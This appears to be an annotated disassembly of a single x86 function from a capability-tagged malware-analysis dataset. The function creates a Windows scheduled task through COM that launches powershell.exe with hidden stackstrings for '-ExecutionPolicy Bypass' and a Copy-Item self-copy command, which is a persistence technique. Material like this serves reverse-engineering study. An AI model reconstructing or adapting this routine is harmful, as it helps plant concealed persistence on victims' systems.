Function at 0x100277e0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101a9ff9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x2c0
push esi
push edi
push 0
mov dword [ebp - 0x28], ecx
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x10027a70
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0x101eedf8
push 1
push 0
push 0x101eee18
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10027a6a
mov eax, dword [ebp - 0x18]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [eax]
mov esi, dword [eax + 0x28]
lea eax, [ebp - 0xe0]
push eax
call edi
movups xmm0, xmmword [ebp - 0xe0]
lea eax, [ebp - 0xc8]
mov dword [ebp - 4], 0
push eax
movups xmmword [ebp - 0xf8], xmm0
call edi
movups xmm0, xmmword [ebp - 0xc8]
lea eax, [ebp - 0xb8]
push eax
movups xmmword [ebp - 0x140], xmm0
call edi
movups xmm0, xmmword [ebp - 0xb8]
lea eax, [ebp - 0x48]
push eax
movups xmmword [ebp - 0x110], xmm0
call edi
movups xmm0, xmmword [ebp - 0xf8]
sub esp, 0x10
mov byte [ebp - 4], 3
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x140]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x110]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x48]
push dword [ebp - 0x18]
movups xmmword [eax], xmm0
call esi
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x48]
push eax
call edi
lea eax, [ebp - 0xb8]
push eax
call edi
lea eax, [ebp - 0xc8]
push eax
call edi
lea eax, [ebp - 0xe0]
mov dword [ebp - 4], 0xffffffff
push eax
call edi
mov eax, dword [ebp - 0x18]
test esi, esi
js 0x10027a64
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x24]
mov eax, dword [eax]
push 0x101c0040
mov esi, dword [eax + 0x1c]
call fcn.100176b0
mov eax, dword [eax]
mov dword [ebp - 4], 4
test eax, eax
je 0x10027955
mov eax, dword [eax]
jmp 0x10027957
xor eax, eax
lea ecx, [ebp - 0x1c]
push ecx
push eax
push dword [ebp - 0x18]
call esi
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
mov esi, eax
call fcn.10017750
test esi, esi
js 0x10027a6a
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x24]
push 0x101c05fc
mov eax, dword [eax]
mov esi, dword [eax + 0x3c]
call fcn.100176b0
mov eax, dword [eax]
mov dword [ebp - 4], 5
test eax, eax
je 0x100279a0
mov eax, dword [eax]
jmp 0x100279a2
xor eax, eax
push 0
push eax
push dword [ebp - 0x1c]
call esi
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.10017750
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 0x20], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x24]
test eax, eax
js 0x10027a58
mov ecx, dword [ebp - 0x20]
lea edx, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x1c]
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x24]
push 0x101c0604
mov eax, dword [eax]
mov esi, dword [eax + 0x28]
call fcn.100176b0
mov eax, dword [eax]
mov dword [ebp - 4], 6
test eax, eax
je 0x10027a11
mov eax, dword [eax]
jmp 0x10027a13
xor eax, eax
push eax
push dword [ebp - 0x30]
call esi
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.10017750
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x20]
lea edx, [ebp - 0x88]
mov dword [ebp - 0x88], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x24]
test eax, eax
jns 0x10027a85
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
mov ecx, dword [ebp - 0x88]
lea edx, [ebp - 0x8c]
push edx
mov dword [ebp - 0x8c], 0
push 1
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
mov ecx, dword [ebp - 0x88]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x10027a4f
mov ecx, dword [ebp - 0x8c]
lea edx, [ebp - 0x34]
push edx
mov dword [ebp - 0x34], 0
push 0x101eee08
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0x8c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x10027a4f
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp - 0x98]
add eax, 0x3c
movzx ecx, ax
mov word [ebp - 0x98], ax
cmp ecx, 0x3c
jb 0x10027b28
lea eax, [ecx - 0x3c]
mov cx, word [ebp - 0x9a]
inc cx
mov word [ebp - 0x98], ax
mov word [ebp - 0x9a], cx
jmp 0x10027b2f
mov cx, word [ebp - 0x9a]
cmp cx, 0x3c
jb 0x10027b56
mov edx, 0xffc4
add cx, dx
mov dx, word [ebp - 0x9c]
inc dx
mov word [ebp - 0x9a], cx
mov word [ebp - 0x9c], dx
jmp 0x10027b5d
mov dx, word [ebp - 0x9c]
movzx eax, ax
push eax
movzx eax, cx
push eax
movzx eax, dx
push eax
movzx eax, word [ebp - 0x9e]
push eax
movzx eax, word [ebp - 0xa2]
push eax
movzx eax, word [ebp - 0xa4]
push eax
push str._04d__02d__02dT_02d:_02d:_02d
lea eax, [ebp - 0x2d0]
push 0x40
push eax
call fcn.100283b0
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x24]
add esp, 0x24
mov eax, dword [eax]
mov esi, dword [eax + 0x3c]
lea eax, [ebp - 0x2d0]
push eax
call fcn.100176b0
mov eax, dword [eax]
mov dword [ebp - 4], 7
test eax, eax
je 0x10027bbf
mov eax, dword [eax]
jmp 0x10027bc1
xor eax, eax
push eax
push dword [ebp - 0x34]
call esi
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
mov esi, eax
call fcn.10017750
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x10027a4f
mov ecx, dword [ebp - 0x20]
lea edx, [ebp - 0x90]
mov dword [ebp - 0x90], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x44]
test eax, eax
js 0x10027a4f
mov ecx, dword [ebp - 0x90]
lea edx, [ebp - 0x94]
push edx
mov dword [ebp - 0x94], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x30]
mov ecx, dword [ebp - 0x90]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x10027a4f
mov ecx, dword [ebp - 0x94]
lea edx, [ebp - 0x2c]
push edx
mov dword [ebp - 0x2c], 0
push str.MbLk
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0x94]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x10027a4f
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
push str.powershell.exe
mov eax, dword [eax]
mov esi, dword [eax + 0x2c]
call fcn.100176b0
mov eax, dword [eax]
mov dword [ebp - 4], 8
test eax, eax
je 0x10027c97
mov eax, dword [eax]
jmp 0x10027c99
xor eax, eax
push eax
push dword [ebp - 0x2c]
call esi
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.10017750
lea eax, [ebp - 0x11]
push eax
push dword [0x10226124]
lea ecx, [ebp - 0x1a8]
push dword [0x10226120]
call fcn.10025690
lea eax, [ebp - 0x11]
mov dword [ebp - 4], 9
push eax
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x238]
push dword [eax + 0x1c]
push dword [eax + 0x18]
call fcn.10025690
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0xa
push eax
call fcn.10025900
add esp, 4
push eax
lea ecx, [ebp - 0xe8]
call fcn.10025880
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.100276d0
push eax
lea eax, [ebp - 0x148]
mov byte [ebp - 4], 0xd
push 0x101c0510
push eax
call fcn.100085a0
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0xe
push ecx
push eax
lea eax, [ebp - 0x130]
push eax
call fcn.10018bb0
push 0x101c0054
push eax
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0xf
push eax
call fcn.10009f60
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x10
push ecx
push eax
lea eax, [ebp - 0x190]
push eax
call fcn.10018bb0
push str.__Force_
push eax
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 0x11
push eax
call fcn.10009f60
add esp, 0x3c
lea ecx, [ebp - 0x190]
call fcn.100088a0
lea ecx, [ebp - 0x178]
call fcn.100088a0
lea ecx, [ebp - 0x130]
call fcn.100088a0
lea ecx, [ebp - 0x148]
call fcn.100088a0
lea ecx, [ebp - 0x100]
call fcn.100088a0
lea ecx, [ebp - 0xe8]
call fcn.10016da0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x19
call fcn.10016da0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x118]
call fcn.10017590
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 0x1a
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.100274e0
add esp, 8
push eax
lea ecx, [ebp - 0x1f0]
call fcn.10025880
lea ecx, [ebp - 0x1d8]
mov byte [ebp - 4], 0x1c
push ecx
mov ecx, eax
call fcn.10027430
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x1d
call fcn.10025740
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x1c0]
call fcn.10025880
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.100276d0
push eax
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0x20
push 0x101c0510
push eax
call fcn.100085a0
push 0x101c0054
push eax
lea eax, [ebp - 0x190]
mov byte [ebp - 4], 0x21
push eax
call fcn.10009f60
add esp, 0x18
lea ecx, [ebp - 0xd0]
call fcn.100088a0
lea ecx, [ebp - 0x250]
call fcn.100088a0
lea ecx, [ebp - 0x1c0]
call fcn.10016da0
lea ecx, [ebp - 0x130]
call fcn.10016da0
lea ecx, [ebp - 0x1d8]
call fcn.10016da0
lea ecx, [ebp - 0x1f0]
call fcn.10016da0
lea ecx, [ebp - 0x208]
call fcn.10016da0
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x2a
call fcn.10016da0
lea eax, [ebp - 0x11]
mov dword [ebp - 0x84], 0x6578452d
push eax
lea ecx, [ebp - 0x52]
mov dword [ebp - 0x80], 0x69747563
push ecx
lea edx, [ebp - 0x84]
mov dword [ebp - 0x7c], 0x6f506e6f
push edx
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x78], 0x7963696c
mov dword [ebp - 0x74], 0x70794220
mov dword [ebp - 0x70], 0x20737361
mov dword [ebp - 0x6c], 0x6d6f432d
mov dword [ebp - 0x68], 0x646e616d
mov dword [ebp - 0x64], 0x6f432220
mov dword [ebp - 0x60], 0x492d7970
mov dword [ebp - 0x5c], 0x206d6574
mov dword [ebp - 0x58], 0x7461502d
mov word [ebp - 0x54], 0x2068
call fcn.10013ba0
lea eax, [ebp - 0x11]
mov byte [ebp - 4], 0x2b
push eax
lea ecx, [ebp - 0x39]
mov dword [ebp - 0x48], 0x442d2027
push ecx
lea edx, [ebp - 0x48]
mov dword [ebp - 0x44], 0x69747365
push edx
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x40], 0x6974616e
mov word [ebp - 0x3c], 0x6e6f
mov byte [ebp - 0x3a], 0x20
call fcn.10013ba0
lea eax, [ebp - 0x11]
mov byte [ebp - 4], 0x2c
push eax
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x1c0]
push dword [ebp - 0xc4]
call fcn.10025690
mov esi, eax
lea eax, [ebp - 0x11]
mov byte [ebp - 4], 0x2d
push eax
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x1d8]
push dword [ebp - 0xb4]
call fcn.10025690
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x2e
push ecx
push eax
lea eax, [ebp - 0x1f0]
push eax
call fcn.10018bb0
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x2f
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.10018bb0
add esp, 0x18
push esi
push eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x30
call fcn.1001a8b0
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 0x31
push eax
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.10018bb0
add esp, 0xc
lea ecx, [ebp - 0x178]
call fcn.100088a0
lea ecx, [ebp - 0x208]
call fcn.100088a0
lea ecx, [ebp - 0x1f0]
call fcn.100088a0
lea ecx, [ebp - 0x1d8]
call fcn.100088a0
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 0x37
call fcn.100088a0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x14c], 0xf
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x160]
cmova eax, dword [ebp - 0x160]
mov dword [ebp - 0x28], eax
call fcn.10043d44
mov esi, eax
add esp, 4
mov dword [ebp - 0x38], esi
mov byte [ebp - 4], 0x38
test esi, esi
je 0x100280c9
push dword [ebp - 0x28]
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call fcn.1017c210
mov dword [esi], eax
jmp 0x100280cb
xor esi, esi
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1002829b
push dword [esi]
mov byte [ebp - 4], 0x39
push dword [ebp - 0x2c]
call dword [ebp - 0x24]
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x37
mov esi, eax
call fcn.10017750
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x1002811b
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
jmp 0x1002823d
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xa8], 0
push 0x101c0044
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov dword [ebp - 0x28], eax
mov eax, 8
mov word [ebp - 0x48], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x40], eax
test eax, eax
je 0x100282a5
movups xmm0, xmmword [ebp - 0x48]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0xf8]
push eax
movups xmmword [ebp - 0x110], xmm0
call esi
movups xmm0, xmmword [ebp - 0xf8]
lea eax, [ebp - 0xe0]
push eax
movups xmmword [ebp - 0x140], xmm0
call esi
movups xmm0, xmmword [ebp - 0xe0]
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x38]
push 0x101c0688
mov byte [ebp - 4], 0x3c
movups xmmword [ebp - 0x128], xmm0
call fcn.100176b0
mov eax, dword [eax]
mov byte [ebp - 4], 0x3d
test eax, eax
je 0x100281b0
mov ecx, dword [eax]
jmp 0x100281b2
xor ecx, ecx
movups xmm0, xmmword [ebp - 0x110]
lea eax, [ebp - 0xa8]
push eax
sub esp, 0x10
mov eax, esp
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x140]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x128]
push 6
push esi
push ecx
push dword [ebp - 0x1c]
movups xmmword [eax], xmm0
call dword [ebp - 0x28]
lea ecx, [ebp - 0x38]
mov esi, eax
call fcn.10017750
lea eax, [ebp - 0xe0]
push eax
call edi
lea eax, [ebp - 0xf8]
push eax
call edi
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 0x37
push eax
call edi
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test esi, esi
js 0x10028243
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x160]
call fcn.100088a0
lea ecx, [ebp - 0xc4]
call fcn.100088f0
lea ecx, [ebp - 0xb4]
call fcn.100088f0
lea ecx, [ebp - 0x190]
call fcn.100088a0
lea ecx, [ebp - 0x220]
call fcn.100088a0
lea ecx, [ebp - 0x238]
call fcn.100088a0
lea ecx, [ebp - 0x1a8]
call fcn.100088a0
jmp 0x10027a70
push 0x8007000e
call fcn.1017c1f0
push 0x8007000e
call fcn.1017c1f0
int3